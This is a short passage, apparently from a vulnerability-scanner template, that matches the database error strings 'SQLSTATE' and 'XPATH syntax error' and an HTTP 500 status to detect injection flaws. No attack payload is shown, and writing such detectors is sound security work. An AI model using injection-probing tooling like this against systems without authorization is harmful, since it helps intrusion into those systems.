21 | - "SQLSTATE"
22 | - "XPATH syntax error"
23 |
24 | - type: status
25 | status:
26 | - 500
27 |
--------------------------------------------------------------------------------